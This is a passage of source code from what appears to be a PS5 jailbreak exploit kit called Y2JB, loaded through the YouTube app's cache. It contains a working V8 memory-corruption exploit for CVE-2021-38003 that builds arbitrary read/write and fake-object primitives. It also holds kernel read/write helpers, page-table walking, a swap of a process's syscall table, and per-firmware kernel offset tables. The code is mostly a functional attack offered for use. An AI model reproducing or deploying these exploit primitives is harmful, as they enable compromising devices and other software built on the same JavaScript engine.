    ipv6_kernel_rw.copyout(kaddr, mem, BigInt(len));
    return read_buffer(mem, len);
};

ipv6_kernel_rw.write_buffer = function(kaddr, buf) {
    const temp_addr = malloc(buf.length);
    write_buffer(temp_addr, buf);
    ipv6_kernel_rw.copyin(temp_addr, kaddr, BigInt(buf.length));
};

// CPU page table definitions
const CPU_PDE_SHIFT = {
    PRESENT: 0,
    RW: 1,
    USER: 2,
    WRITE_THROUGH: 3,
    CACHE_DISABLE: 4,
    ACCESSED: 5,
    DIRTY: 6,
    PS: 7,
    GLOBAL: 8,
    XOTEXT: 58,
    PROTECTION_KEY: 59,
    EXECUTE_DISABLE: 63
};

const CPU_PDE_MASKS = {
    PRESENT: 1n,
    RW: 1n,
    USER: 1n,
    WRITE_THROUGH: 1n,
    CACHE_DISABLE: 1n,
    ACCESSED: 1n,
    DIRTY: 1n,
    PS: 1n,
    GLOBAL: 1n,
    XOTEXT: 1n,
    PROTECTION_KEY: 0xfn,
    EXECUTE_DISABLE: 1n
};

const CPU_PG_PHYS_FRAME = 0x000ffffffffff000n;
const CPU_PG_PS_FRAME = 0x000fffffffe00000n;

function cpu_pde_field(pde, field) {
    const shift = CPU_PDE_SHIFT[field];
    const mask = CPU_PDE_MASKS[field];
    return Number((pde >> BigInt(shift)) & mask);
}

function cpu_walk_pt(cr3, vaddr) {
    if (!vaddr || !cr3) {
        throw new Error("cpu_walk_pt: invalid arguments");
    }
    
    const pml4e_index = (vaddr >> 39n) & 0x1ffn;
    const pdpe_index = (vaddr >> 30n) & 0x1ffn;
    const pde_index = (vaddr >> 21n) & 0x1ffn;
    const pte_index = (vaddr >> 12n) & 0x1ffn;
    
    const pml4e = kernel.read_qword(phys_to_dmap(cr3) + pml4e_index * 8n);
    if (cpu_pde_field(pml4e, "PRESENT") !== 1) {
        return null;
    }
    
    const pdp_base_pa = pml4e & CPU_PG_PHYS_FRAME;
    const pdpe_va = phys_to_dmap(pdp_base_pa) + pdpe_index * 8n;
    const pdpe = kernel.read_qword(pdpe_va);
    
    if (cpu_pde_field(pdpe, "PRESENT") !== 1) {
        return null;
    }
    
    const pd_base_pa = pdpe & CPU_PG_PHYS_FRAME;
    const pde_va = phys_to_dmap(pd_base_pa) + pde_index * 8n;
    const pde = kernel.read_qword(pde_va);
    
    if (cpu_pde_field(pde, "PRESENT") !== 1) {
        return null;
    }
    
    if (cpu_pde_field(pde, "PS") === 1) {
        return (pde & CPU_PG_PS_FRAME) | (vaddr & 0x1fffffn);
    }
    
    const pt_base_pa = pde & CPU_PG_PHYS_FRAME;
    const pte_va = phys_to_dmap(pt_base_pa) + pte_index * 8n;
    const pte = kernel.read_qword(pte_va);
    
    if (cpu_pde_field(pte, "PRESENT") !== 1) {
        return null;
    }
    
    return (pte & CPU_PG_PHYS_FRAME) | (vaddr & 0x3fffn);
}

function is_kernel_rw_available() {
    return kernel.read_buffer && kernel.write_buffer;
}

function check_kernel_rw() {
    if (!is_kernel_rw_available()) {
        throw new Error("kernel r/w is not available");
    }
}

function find_proc_by_name(name) {
    check_kernel_rw();
    if (!kernel.addr.allproc) {
        throw new Error("kernel.addr.allproc not set");
    }
    
    let proc = kernel.read_qword(kernel.addr.allproc);
    while (proc !== 0n) {
        const proc_name = kernel.read_null_terminated_string(proc + kernel_offset.PROC_COMM);
        if (proc_name === name) {
            return proc;
        }
        proc = kernel.read_qword(proc + 0x0n);
    }
    
    return null;
}

function find_proc_by_pid(pid) {
    check_kernel_rw();
    if (!kernel.addr.allproc) {
        throw new Error("kernel.addr.allproc not set");
    }
    
    const target_pid = BigInt(pid);
    let proc = kernel.read_qword(kernel.addr.allproc);
    while (proc !== 0n) {
        const proc_pid = kernel.read_dword(proc + kernel_offset.PROC_PID);
        if (proc_pid === target_pid) {
            return proc;
        }
        proc = kernel.read_qword(proc + 0x0n);
    }
    
    return null;
}

function get_proc_cr3(proc) {
    check_kernel_rw();
    
    const vmspace = kernel.read_qword(proc + kernel_offset.PROC_VM_SPACE);
    const pmap_store = kernel.read_qword(vmspace + kernel_offset.VMSPACE_VM_PMAP);
    
    return kernel.read_qword(pmap_store + kernel_offset.PMAP_CR3);
}

function virt_to_phys(virt_addr, cr3) {
    check_kernel_rw();
    if (!kernel.addr.dmap_base || !virt_addr) {
        throw new Error("virt_to_phys: invalid arguments");
    }
    
    cr3 = cr3 || kernel.addr.kernel_cr3;
    return cpu_walk_pt(cr3, virt_addr);
}

function phys_to_dmap(phys_addr) {
    if (!kernel.addr.dmap_base || !phys_addr) {
        throw new Error("phys_to_dmap: invalid arguments");
    }
    return kernel.addr.dmap_base + phys_addr;
}

// Replace curproc sysent with sysent of other PS5 process
// Note: failure to restore curproc sysent will have side effect on the game/PS
async function run_with_ps5_syscall_enabled(f) {
    check_kernel_rw();
    
    const target_proc_name = "SceGameLiveStreaming"; // arbitrarily chosen PS5 process
    
    const target_proc = find_proc_by_name(target_proc_name);
    if (!target_proc) {
        throw new Error("failed to find proc addr of " + target_proc_name);
    }
    
    const cur_sysent = kernel.read_qword(kernel.addr.curproc + kernel_offset.PROC_SYSENT);  // struct sysentvec
    const target_sysent = kernel.read_qword(target_proc + kernel_offset.PROC_SYSENT);
    
    const cur_table_size = kernel.read_dword(cur_sysent); // sv_size
    const target_table_size = kernel.read_dword(target_sysent);
    
    const cur_table = kernel.read_qword(cur_sysent + 0x8n); // sv_table
    const target_table = kernel.read_qword(target_sysent + 0x8n);
    
    // Replace with target sysent
    kernel.write_dword(cur_sysent, target_table_size);
    kernel.write_qword(cur_sysent + 0x8n, target_table);
    
    try {
        await f();
    } catch (e) {
        await log('run_with_ps5_syscall_enabled failed : ' + e.message);
        await log(e.stack);
    } finally {
        // Always restore back
        kernel.write_dword(cur_sysent, cur_table_size);
        kernel.write_qword(cur_sysent + 0x8n, cur_table);
    }
}
```

## /download0/cache/splash_screen/aHR0cHM6Ly93d3cueW91dHViZS5jb20vdHY=/kernel_offset.js

```js path="/download0/cache/splash_screen/aHR0cHM6Ly93d3cueW91dHViZS5jb20vdHY=/kernel_offset.js" 
// Credit: @hammer-83
// https://github.com/shahrilnet/remote_lua_loader/blob/main/savedata/kernel_offset.lua

const offset_4_00_to_4_51 = {
    DATA_BASE: 0x0C00000n,
    DATA_SIZE: 0x087B1930n,
    DATA_BASE_DYNAMIC: 0x00010000n,
    DATA_BASE_TO_DYNAMIC: 0x0670DB90n,
    DATA_BASE_ALLPROC: 0x027EDCB8n,
    DATA_BASE_SECURITY_FLAGS: 0x06506474n,
    DATA_BASE_ROOTVNODE: 0x066E74C0n,
    DATA_BASE_KERNEL_PMAP_STORE: 0x03257A78n,
    DATA_BASE_DATA_CAVE: 0x06C01000n,  // Unconfirmed
    DATA_BASE_GVMSPACE: 0x064C3F80n,
    PMAP_STORE_PML4PML4I: -0x1Cn,
    PMAP_STORE_DMPML4I: 0x288n,
    PMAP_STORE_DMPDPI: 0x28Cn,
};

const offset_5_00_to_5_10 = {
    DATA_BASE: 0x0C40000n,
    DATA_SIZE: 0x08921930n,
    DATA_BASE_DYNAMIC: 0x00010000n,
    DATA_BASE_TO_DYNAMIC: 0x06879C00n,
    DATA_BASE_ALLPROC: 0x0291DD00n,
    DATA_BASE_SECURITY_FLAGS: 0x066466ECn,
    DATA_BASE_ROOTVNODE: 0x06853510n,
    DATA_BASE_KERNEL_PMAP_STORE: 0x03398A88n,
    DATA_BASE_DATA_CAVE: 0x06320000n,  // Unconfirmed
    DATA_BASE_GVMSPACE: 0x06603FB0n,
    PMAP_STORE_PML4PML4I: -0x105Cn,
    PMAP_STORE_DMPML4I: 0x29Cn,
    PMAP_STORE_DMPDPI: 0x2A0n,
};

const offset_5_50 = {
    DATA_BASE: 0x0C40000n,
    DATA_SIZE: 0x08921930n,
    DATA_BASE_DYNAMIC: 0x00010000n,
    DATA_BASE_TO_DYNAMIC: 0x06879C00n,
    DATA_BASE_ALLPROC: 0x0291DD00n,
    DATA_BASE_SECURITY_FLAGS: 0x066466ECn,
    DATA_BASE_ROOTVNODE: 0x06853510n,
    DATA_BASE_KERNEL_PMAP_STORE: 0x03394A88n,
    DATA_BASE_DATA_CAVE: 0x06320000n,  // Unconfirmed
    DATA_BASE_GVMSPACE: 0x06603FB0n,
    PMAP_STORE_PML4PML4I: -0x105Cn,
    PMAP_STORE_DMPML4I: 0x29Cn,
    PMAP_STORE_DMPDPI: 0x2A0n,
};

const offset_6_00_to_6_50 = {
    DATA_BASE: 0x0C60000n,  // Unconfirmed
    DATA_SIZE: 0x08861930n,
    DATA_BASE_DYNAMIC: 0x00010000n,
    DATA_BASE_TO_DYNAMIC: 0x067C5C10n,
    DATA_BASE_ALLPROC: 0x02869D20n,
    DATA_BASE_SECURITY_FLAGS: 0x065968ECn,
    DATA_BASE_ROOTVNODE: 0x0679F510n,
    DATA_BASE_KERNEL_PMAP_STORE: 0x032E4358n,
    DATA_BASE_DATA_CAVE: 0x06270000n,  // Unconfirmed
    DATA_BASE_GVMSPACE: 0x065540F0n,
    PMAP_STORE_PML4PML4I: -0x105Cn,
    PMAP_STORE_DMPML4I: 0x29Cn,
    PMAP_STORE_DMPDPI: 0x2A0n,
};

const offset_7_00_to_7_61 = {
    DATA_BASE: 0x0C50000n,
    DATA_SIZE: 0x05191930n,
    DATA_BASE_DYNAMIC: 0x00010000n,
    DATA_BASE_TO_DYNAMIC: 0x030EDC40n,
    DATA_BASE_ALLPROC: 0x02859D50n,
    DATA_BASE_SECURITY_FLAGS: 0x00AC8064n,
    DATA_BASE_ROOTVNODE: 0x030C7510n,
    DATA_BASE_KERNEL_PMAP_STORE: 0x02E2C848n,
    DATA_BASE_DATA_CAVE: 0x050A1000n,  // Unconfirmed
    DATA_BASE_GVMSPACE: 0x02E76090n,
    PMAP_STORE_PML4PML4I: -0x10ACn,
    PMAP_STORE_DMPML4I: 0x29Cn,
    PMAP_STORE_DMPDPI: 0x2A0n,
};

const offset_8_00_to_8_60 = {
    DATA_BASE: 0xC70000n,
    DATA_SIZE: null,
    DATA_BASE_DYNAMIC: 0x10000n,
    DATA_BASE_TO_DYNAMIC: null,
    DATA_BASE_ALLPROC: 0x2875D50n,
    DATA_BASE_SECURITY_FLAGS: 0xAC3064n,
    DATA_BASE_ROOTVNODE: 0x30FB510n,
    DATA_BASE_KERNEL_PMAP_STORE: 0x2E48848n,
    DATA_BASE_DATA_CAVE: null,
    DATA_BASE_GVMSPACE: 0x2EAA090n,
    PMAP_STORE_PML4PML4I: null,
    PMAP_STORE_DMPML4I: null,
    PMAP_STORE_DMPDPI: null,
};

const offset_9_00 = {
    DATA_BASE: 0xCA0000n,
    DATA_SIZE: null,
    DATA_BASE_DYNAMIC: 0x10000n,
    DATA_BASE_TO_DYNAMIC: null,
    DATA_BASE_ALLPROC: 0x2755D50n,
    DATA_BASE_SECURITY_FLAGS: 0xD72064n,
    DATA_BASE_ROOTVNODE: 0x2FDB510n,
    DATA_BASE_KERNEL_PMAP_STORE: 0x2D28B78n,
    DATA_BASE_DATA_CAVE: null,
    DATA_BASE_GVMSPACE: 0x2D8A570n,
    PMAP_STORE_PML4PML4I: null,
    PMAP_STORE_DMPML4I: null,
    PMAP_STORE_DMPDPI: null,
};

const offset_9_05_to_9_60 = {
    DATA_BASE: 0xCA0000n,
    DATA_SIZE: null,
    DATA_BASE_DYNAMIC: 0x10000n,
    DATA_BASE_TO_DYNAMIC: null,
    DATA_BASE_ALLPROC: 0x2755D50n,
    DATA_BASE_SECURITY_FLAGS: 0xD73064n,
    DATA_BASE_ROOTVNODE: 0x2FDB510n,
    DATA_BASE_KERNEL_PMAP_STORE: 0x2D28B78n,
    DATA_BASE_DATA_CAVE: null,
    DATA_BASE_GVMSPACE: 0x2D8A570n,
    PMAP_STORE_PML4PML4I: null,
    PMAP_STORE_DMPML4I: null,
    PMAP_STORE_DMPDPI: null,
};

const offset_10_00_to_10_01 = {
    DATA_BASE: 0xCC0000n,
    DATA_SIZE: null,
    DATA_BASE_DYNAMIC: 0x10000n,
    DATA_BASE_TO_DYNAMIC: null,
    DATA_BASE_ALLPROC: 0x2765D70n,
    DATA_BASE_SECURITY_FLAGS: 0xD79064n,
    DATA_BASE_ROOTVNODE: 0x2FA3510n,
    DATA_BASE_KERNEL_PMAP_STORE: 0x2CF0EF8n,
    DATA_BASE_DATA_CAVE: null,
    DATA_BASE_GVMSPACE: 0x2D52570n,
    PMAP_STORE_PML4PML4I: null,
    PMAP_STORE_DMPML4I: null,
    PMAP_STORE_DMPDPI: null,
};

// Map firmware versions to shared offset objects
const ps5_kernel_offset_list = {
    "4.00": offset_4_00_to_4_51,
    "4.02": offset_4_00_to_4_51,
    "4.03": offset_4_00_to_4_51,
    "4.50": offset_4_00_to_4_51,
    "4.51": offset_4_00_to_4_51,
    "5.00": offset_5_00_to_5_10,
    "5.02": offset_5_00_to_5_10,
    "5.10": offset_5_00_to_5_10,
    "5.50": offset_5_50,
    "6.00": offset_6_00_to_6_50,
    "6.02": offset_6_00_to_6_50,
    "6.50": offset_6_00_to_6_50,
    "7.00": offset_7_00_to_7_61,
    "7.01": offset_7_00_to_7_61,
    "7.20": offset_7_00_to_7_61,
    "7.40": offset_7_00_to_7_61,
    "7.60": offset_7_00_to_7_61,
    "7.61": offset_7_00_to_7_61,
    "8.00": offset_8_00_to_8_60,
    "8.20": offset_8_00_to_8_60,
    "8.40": offset_8_00_to_8_60,
    "8.60": offset_8_00_to_8_60,
    "9.00": offset_9_00,
    "9.05": offset_9_05_to_9_60,
    "9.20": offset_9_05_to_9_60,
    "9.40": offset_9_05_to_9_60,
    "9.60": offset_9_05_to_9_60,
    "10.00": offset_10_00_to_10_01,
    "10.01": offset_10_00_to_10_01,
};

let kernel_offset = null;

function get_kernel_offset() {
    
    const offsets = ps5_kernel_offset_list[FW_VERSION];
    
    if (!offsets) {
        throw new Error("Unsupported firmware version: " + FW_VERSION);
    }
    
    kernel_offset = { ...offsets };
    
    kernel_offset.DATA_BASE_TARGET_ID = kernel_offset.DATA_BASE_SECURITY_FLAGS + 0x09n;
    kernel_offset.DATA_BASE_QA_FLAGS = kernel_offset.DATA_BASE_SECURITY_FLAGS + 0x24n;
    kernel_offset.DATA_BASE_UTOKEN_FLAGS = kernel_offset.DATA_BASE_SECURITY_FLAGS + 0x8Cn;
    
    // proc structure
    kernel_offset.PROC_FD = 0x48n;
    kernel_offset.PROC_PID = 0xbcn;
    kernel_offset.PROC_VM_SPACE = 0x200n;
    kernel_offset.PROC_COMM = -1n;
    kernel_offset.PROC_SYSENT = -1n;
    
    // filedesc
    kernel_offset.FILEDESC_OFILES = 0x8n;
    kernel_offset.SIZEOF_OFILES = 0x30n;
    
    // vmspace structure
    kernel_offset.VMSPACE_VM_PMAP = -1n;
    kernel_offset.VMSPACE_VM_VMID = -1n;
    
    // pmap structure
    kernel_offset.PMAP_CR3 = 0x28n;
    
    // gpu vmspace structure
    kernel_offset.SIZEOF_GVMSPACE = 0x100n;
    kernel_offset.GVMSPACE_START_VA = 0x8n;
    kernel_offset.GVMSPACE_SIZE = 0x10n;
    kernel_offset.GVMSPACE_PAGE_DIR_VA = 0x38n;
    
    // net
    kernel_offset.SO_PCB = 0x18n;
    kernel_offset.INPCB_PKTOPTS = 0x120n;
    
    return kernel_offset;
}

function find_vmspace_pmap_offset() {
    const vmspace = kernel.read_qword(kernel.addr.curproc + kernel_offset.PROC_VM_SPACE);
    
    // Note, this is the offset of vm_space.vm_map.pmap on 1.xx.
    // It is assumed that on higher firmwares it's only increasing.
    const cur_scan_offset = 0x1C8n;
    
    for (let i = 1; i <= 6; i++) {
        const scan_val = kernel.read_qword(vmspace + cur_scan_offset + BigInt(i * 8));
        const offset_diff = Number(scan_val - vmspace);
        
        if (offset_diff >= 0x2C0 && offset_diff <= 0x2F0) {
            return cur_scan_offset + BigInt(i * 8);
        }
    }
    
    throw new Error("failed to find VMSPACE_VM_PMAP offset");
}


function find_vmspace_vmid_offset() {
    const vmspace = kernel.read_qword(kernel.addr.curproc + kernel_offset.PROC_VM_SPACE);
    
    // Note, this is the offset of vm_space.vm_map.vmid on 1.xx.
    // It is assumed that on higher firmwares it's only increasing.
    const cur_scan_offset = 0x1D4n;
    
    for (let i = 1; i <= 8; i++) {
        const scan_offset = cur_scan_offset + BigInt(i * 4);
        const scan_val = Number(kernel.read_dword(vmspace + scan_offset));
        
        if (scan_val > 0 && scan_val <= 0x10) {
            return scan_offset;
        }
    }
    
    throw new Error("failed to find VMSPACE_VM_VMID offset");
}

function find_proc_offsets() {
    const proc_data = kernel.read_buffer(kernel.addr.curproc, 0x1000);
    
    const p_comm_sign = find_pattern(proc_data, "ce fa ef be cc bb");
    const p_sysent_sign = find_pattern(proc_data, "ff ff ff ff ff ff ff 7f");
    
    if (p_comm_sign.length === 0) {
        throw new Error("failed to find offset for PROC_COMM");
    }
    
    if (p_sysent_sign.length === 0) {
        throw new Error("failed to find offset for PROC_SYSENT");
    }
    
    const p_comm_offset = BigInt(p_comm_sign[0] + 0x8);
    const p_sysent_offset = BigInt(p_sysent_sign[0] - 0x10);
    
    return {
        PROC_COMM: p_comm_offset,
        PROC_SYSENT: p_sysent_offset
    };
}

function find_additional_offsets() {
    const proc_offsets = find_proc_offsets();
    
    const vm_map_pmap_offset = find_vmspace_pmap_offset();
    const vm_map_vmid_offset = find_vmspace_vmid_offset();
    
    return {
        PROC_COMM: proc_offsets.PROC_COMM,
        PROC_SYSENT: proc_offsets.PROC_SYSENT,
        VMSPACE_VM_PMAP: vm_map_pmap_offset,
        VMSPACE_VM_VMID: vm_map_vmid_offset,
    };
}

function update_kernel_offsets() {
    const offsets = find_additional_offsets();
    
    for (const [key, value] of Object.entries(offsets)) {
        kernel_offset[key] = value;
    }
}

```

## /download0/cache/splash_screen/aHR0cHM6Ly93d3cueW91dHViZS5jb20vdHY=/main.js

```js path="/download0/cache/splash_screen/aHR0cHM6Ly93d3cueW91dHViZS5jb20vdHY=/main.js" 
/*
    Copyright (C) 2025 Gezine
    
    This software may be modified and distributed under the terms
    of the MIT license.  See the LICENSE file for details.
*/

const version_string = "Y2JB 1.2 beta by Gezine";

function load_localscript(filename) {
    const script = document.createElement('script');
    script.src = filename;
    document.head.appendChild(script);
}

load_localscript('global.js');

let NETWORK_LOGGING = false;
// Use setlogserver.js payload to change server url at runtime
let LOG_SERVER = 'http://192.168.1.180:8080/log';

async function checkLogServer() {
    try {
        const timeoutPromise = new Promise((_, reject) => 
            setTimeout(() => reject(new Error('Timeout')), 800)
        );
        
        const fetchPromise = fetch(LOG_SERVER, {
            method: 'POST',
            body: 'Log server check from Y2JB'
        });
        
        await Promise.race([fetchPromise, timeoutPromise]);
        
        NETWORK_LOGGING = true;
    } catch (e) {
        NETWORK_LOGGING = false;
    }
}

let outputElement = null;
// hack for scrolling messages
let maxLines = 56;
const fontSize = Math.floor(window.innerHeight / maxLines * 0.85);
const leftPadding = Math.floor(window.innerWidth * 0.005);
const topPadding = Math.floor(window.innerHeight * 0.005);

async function log(msg) {
    let message = String(msg);
    if (!outputElement) {
        outputElement = document.getElementById('output');
        if (!outputElement) {
            outputElement = document.createElement('div');
            outputElement.id = 'output';
            document.body.appendChild(outputElement);
        }
        outputElement.style.paddingLeft = leftPadding + 'px';
        outputElement.style.paddingTop = topPadding + 'px'; 
    }
    
    const lines = message.split('\n');
    lines.forEach(line => {
        let lineDiv = document.createElement('div');
        lineDiv.textContent = line === '' ? '\u00A0' : line;
        lineDiv.style.fontSize = fontSize + 'px';
        
        outputElement.appendChild(lineDiv);
    });
    
    while (outputElement.children.length > maxLines) {
        outputElement.removeChild(outputElement.children[0]);
    }
    
    await new Promise(resolve => {
        requestAnimationFrame(() => {
            setTimeout(resolve, 1);
        });
    });
        
    if (NETWORK_LOGGING) {
        try {
            await fetch(LOG_SERVER, {
                method: 'POST',
                body: message,
            });
        } catch (e) { }
    }
}

function toHex(num) {
    return '0x' + BigInt(num).toString(16).padStart(16, '0');
}

function trigger() {
    let v1;
    function f0(v4) {
        v4(() => { }, v5 => {
            v1 = v5.errors;
        });
    }
    f0.resolve = function (v6) {
        return v6;
    };
    let v3 = {
        then(v7, v8) {
            v8();
        }
    };
    Promise.any.call(f0, [v3]);
    return v1[1];
}

(async function() {
    try {
        await log(version_string);
        await log('Starting Exploit');
        
        await gc();
        await gc();
        await gc();
        await gc();
        
        // CVE-2021-38003
        // CVE-2022-4174 faster hole leak
        // https://starlabs.sg/blog/2022/12-the-hole-new-world-how-a-small-leak-will-sink-a-great-browser-cve-2021-38003/
        let hole = trigger();
        
        for (let i = 0; i < 0x10; i++) {
            map1 = new Map();
            map1.set(1, 1);
            map1.set(hole, 1);
            map1.delete(hole);
            map1.delete(hole);
            map1.delete(1);
            oob_arr = new BigUint64Array([0x4141414141414141n]);
        }
        
        victim_arr = new BigUint64Array([0x4343434343434343n, 0x4343434343434343n]);
        obj_arr = [{}, {}];

        map1.set(0x1e, -1);
        gc();
        map1.set(0x0, 0x1);
        
        //oob_arr[31] : 0x2 -- victim_arr length
        //oob_arr[32] : 0xf -- victim_arr ExternalPointer_t 
        //oob_arr[33] : 0x27e8412d1 -- victm_arr base_pointer
        
        await log ("oob_arr length : " + toHex(oob_arr.length));
        
        const oob_arr_before = [];
        for (let i = 0; i < 100; i++) {
            oob_arr_before[i] = oob_arr[i];
        }
        
        obj_arr[0] = 0x1n;

        let obj_arr_offset = -1;
        for (let i = 0; i < 100; i++) {
            if (oob_arr[i] !== oob_arr_before[i]) {
                obj_arr_offset = i;
                break;
            }
        }

        //await log('obj_arr_offset : ' + obj_arr_offset);
        
        if (obj_arr_offset === -1) {
            throw new Error("Failed to get unstable primitive");
        }
        
        await log("Unstable primitive achieved");
        
        function addrof_unstable(obj) {
            const obj_arr_org_value = oob_arr[obj_arr_offset];
            obj_arr[0] = obj;
            const addr = oob_arr[obj_arr_offset] - 1n;
            oob_arr[obj_arr_offset] = obj_arr_org_value;
            return addr;
        }
        
        function read64_unstable(addr) {
            const victim_arr_org_base = oob_arr[33];
            oob_arr[33] = addr - 0xfn;
            const value = victim_arr[0];
            oob_arr[33] = victim_arr_org_base;
            return value;
        }
        
        function write64_unstable(addr, value) {
            const victim_arr_org_base = oob_arr[33];
            oob_arr[33] = addr - 0xfn;
            victim_arr[0] = value;
            oob_arr[33] = victim_arr_org_base;
        }
        
        function create_fakeobj_unstable(addr) {
            const obj_arr_org_value = oob_arr[obj_arr_offset];
            oob_arr[obj_arr_offset] = addr + 1n;
            const fake_obj = obj_arr[0];
            oob_arr[obj_arr_offset] = obj_arr_org_value;
            return fake_obj;
        }                
        
        // Allocate Large Object Space with proper page metadata
        // Create object array first to initialize page structures
        const stable_array = new Array(0x10000);
        for (let i = 0; i < stable_array.length; i++) {
            stable_array[i] = {};
        }
                        
        // Get FixedDoubleArray map from a template
        const double_template = new Array(0x10);
        double_template.fill(3.14);
        const double_template_addr = addrof_unstable(double_template);
        const double_elements_addr = read64_unstable(double_template_addr + 0x10n) - 1n;
        const fixed_double_array_map = read64_unstable(double_elements_addr + 0x00n);
        
        // Get stable_array addresses
        const stable_array_addr = addrof_unstable(stable_array);
        const stable_elements_addr = read64_unstable(stable_array_addr + 0x10n) - 1n;
        
        // Transform elements to FixedDoubleArray
        // This makes GC happy later
        write64_unstable(stable_elements_addr + 0x00n, fixed_double_array_map);
        
        // Get templates for large external storage arrays
        const template_biguint = new BigUint64Array(64);
        const template_biguint_addr = addrof_unstable(template_biguint);
        const template_biguint_elements = read64_unstable(template_biguint_addr + 0x10n) - 1n;
        
        const biguint_map = read64_unstable(template_biguint_addr + 0x00n);
        const biguint_props = read64_unstable(template_biguint_addr + 0x08n);
        const biguint_elem_map = read64_unstable(template_biguint_elements + 0x00n);
        const biguint_elem_len = read64_unstable(template_biguint_elements + 0x08n);
        
        // Get template for small inline storage arrays
        const template_small = new BigUint64Array(8);
        const template_small_addr = addrof_unstable(template_small);
        const template_small_buffer_addr = read64_unstable(template_small_addr + 0x18n) - 1n;
        const template_small_elements_addr = read64_unstable(template_small_addr + 0x10n) - 1n;
        
        const small_map = read64_unstable(template_small_addr + 0x00n);
        const small_props = read64_unstable(template_small_addr + 0x08n);
        const small_elem_map = read64_unstable(template_small_elements_addr + 0x00n);
        const small_elem_length_field = read64_unstable(template_small_elements_addr + 0x08n);
        
        const small_buffer_map = read64_unstable(template_small_buffer_addr + 0x00n);
        const small_buffer_props = read64_unstable(template_small_buffer_addr + 0x08n);
        const small_buffer_elements = read64_unstable(template_small_buffer_addr + 0x10n);
        const small_buffer_bit_field = read64_unstable(template_small_buffer_addr + 0x30n);
        
        // Get template for ArrayBuffer
        const template_buffer = new ArrayBuffer(1024);
        const template_buffer_addr = addrof_unstable(template_buffer);
        const template_buffer_elements = read64_unstable(template_buffer_addr + 0x10n) - 1n;
        
        const buffer_map = read64_unstable(template_buffer_addr + 0x00n);
        const buffer_props = read64_unstable(template_buffer_addr + 0x08n);
        const buffer_elem_map = read64_unstable(template_buffer_elements + 0x00n);
        const buffer_elem_len = read64_unstable(template_buffer_elements + 0x08n);
        
        // Get template for Array object
        const template_array = [{}, {}];
        const template_array_addr = addrof_unstable(template_array);
        const template_array_elements_addr = read64_unstable(template_array_addr + 0x10n) - 1n;
        
        const array_map = read64_unstable(template_array_addr + 0x00n);
        const array_props = read64_unstable(template_array_addr + 0x08n);
        const array_elem_map = read64_unstable(template_array_elements_addr + 0x00n);
        
        // Get template for double object
        const heap_number = 1.1;
        const heap_number_addr = addrof_unstable(heap_number);
        const heap_number_map = read64_unstable(heap_number_addr);
        
        const base = stable_elements_addr + 0x2000n;
        
        // Main data region that fake_rw will read/write
        const fake_rw_data = base + 0x0000n;
        
        // Inside fake_rw_data: fake Array's elements (at the beginning)
        const fake_array_elements_data = fake_rw_data + 0x0000n;
        // Structure: +0x00: map, +0x08: length, +0x10: slot[0], +0x18: slot[1], ...
        
        const fake_arr2_obj = base + 0x0100n;
        const fake_arr2_elements = base + 0x0150n;
        const fake_rw2_data = base + 0x0200n;
        
        // +0x00: ArrayBuffer (0x38 bytes)
        // +0x48: Elements FixedArray (0x10 bytes header)
        // +0x58: Data (64 bytes for 8 uint64s)
        // +0x98: BigUint64Array object (0x48 bytes)
        
        const fake_bc_base = base + 0x0400n;
        const fake_bc_buffer = fake_bc_base + 0x00n;
        const fake_bc_elements = fake_bc_base + 0x48n;
        const fake_bc_data = fake_bc_base + 0x58n;
        const fake_bc_obj = fake_bc_base + 0x98n;
        
        const fake_frame_base = base + 0x0600n;
        const fake_frame_buffer = fake_frame_base + 0x00n;
        const fake_frame_elements = fake_frame_base + 0x48n;
        const fake_frame_data = fake_frame_base + 0x58n;
        const fake_frame_obj = fake_frame_base + 0x98n;
        
        const fake_buffer_rw2_obj = base + 0x0800n;
        const fake_buffer_rw2_elements = base + 0x0850n;
        
        // Objects outside fake_rw accessible range
        const fake_buffer_rw_obj = base + 0x1000n;
        const fake_buffer_rw_elements = base + 0x1050n;
        const fake_array_obj = base + 0x1100n;
        const fake_rw_obj = base + 0x1200n;
        const fake_rw_elements = base + 0x1250n;
        
        // ROP chain with external storage
        const fake_rop_chain_data = base + 0x2000n;
        const fake_rop_chain_buffer_obj = base + 0x3000n;
        const fake_rop_chain_buffer_elements = base + 0x3050n;
        const fake_rop_chain_obj = base + 0x3100n;
        const fake_rop_chain_elements = base + 0x3150n;
        
        // return_value_buf with inline storage
        const fake_return_value_elements = base + 0x4000n;
        const fake_return_value_buffer_obj = base + 0x4100n;
        const fake_return_value_buffer_elements = base + 0x4150n;
        const fake_return_value_obj = base + 0x4200n;
        
        // Create fake Array elements inside fake_rw_data region
        // FixedArray: map + length + data slots
        write64_unstable(fake_array_elements_data + 0x00n, array_elem_map);
        write64_unstable(fake_array_elements_data + 0x08n, 0x0000001000000000n);  // length = 16 slots (Smi)
        
        for (let i = 0n; i < 16n; i++) {
            write64_unstable(fake_array_elements_data + 0x10n + i * 8n, 0n);
        }
        
        // Create fake Array object pointing to elements inside fake_rw_data
        write64_unstable(fake_array_obj + 0x00n, array_map);
        write64_unstable(fake_array_obj + 0x08n, array_props);
        write64_unstable(fake_array_obj + 0x10n, fake_array_elements_data + 1n);  // elements (tagged)
        write64_unstable(fake_array_obj + 0x18n, 0x0000001000000000n);  // length = 16 (Smi)
        
        // Create fake ArrayBuffer #1 elements
        write64_unstable(fake_buffer_rw_elements + 0x00n, buffer_elem_map);
        write64_unstable(fake_buffer_rw_elements + 0x08n, buffer_elem_len);
        
        // Create fake ArrayBuffer #1 (buffer_rw)
        write64_unstable(fake_buffer_rw_obj + 0x00n, buffer_map);
        write64_unstable(fake_buffer_rw_obj + 0x08n, buffer_props);
        write64_unstable(fake_buffer_rw_obj + 0x10n, fake_buffer_rw_elements + 1n);
        write64_unstable(fake_buffer_rw_obj + 0x18n, 0x1000n);  // byte_length
        write64_unstable(fake_buffer_rw_obj + 0x20n, fake_rw_data);  // backing_store
        write64_unstable(fake_buffer_rw_obj + 0x28n, 0n);  // extension
        write64_unstable(fake_buffer_rw_obj + 0x30n, 0n);  // bit_field
        
        // Create fake ArrayBuffer #2 elements
        write64_unstable(fake_buffer_rw2_elements + 0x00n, buffer_elem_map);
        write64_unstable(fake_buffer_rw2_elements + 0x08n, buffer_elem_len);
        
        // Create fake ArrayBuffer #2 (buffer_rw2)
        write64_unstable(fake_buffer_rw2_obj + 0x00n, buffer_map);
        write64_unstable(fake_buffer_rw2_obj + 0x08n, buffer_props);
        write64_unstable(fake_buffer_rw2_obj + 0x10n, fake_buffer_rw2_elements + 1n);
        write64_unstable(fake_buffer_rw2_obj + 0x18n, 0x200n);  // byte_length
        write64_unstable(fake_buffer_rw2_obj + 0x20n, fake_rw2_data);  // backing_store
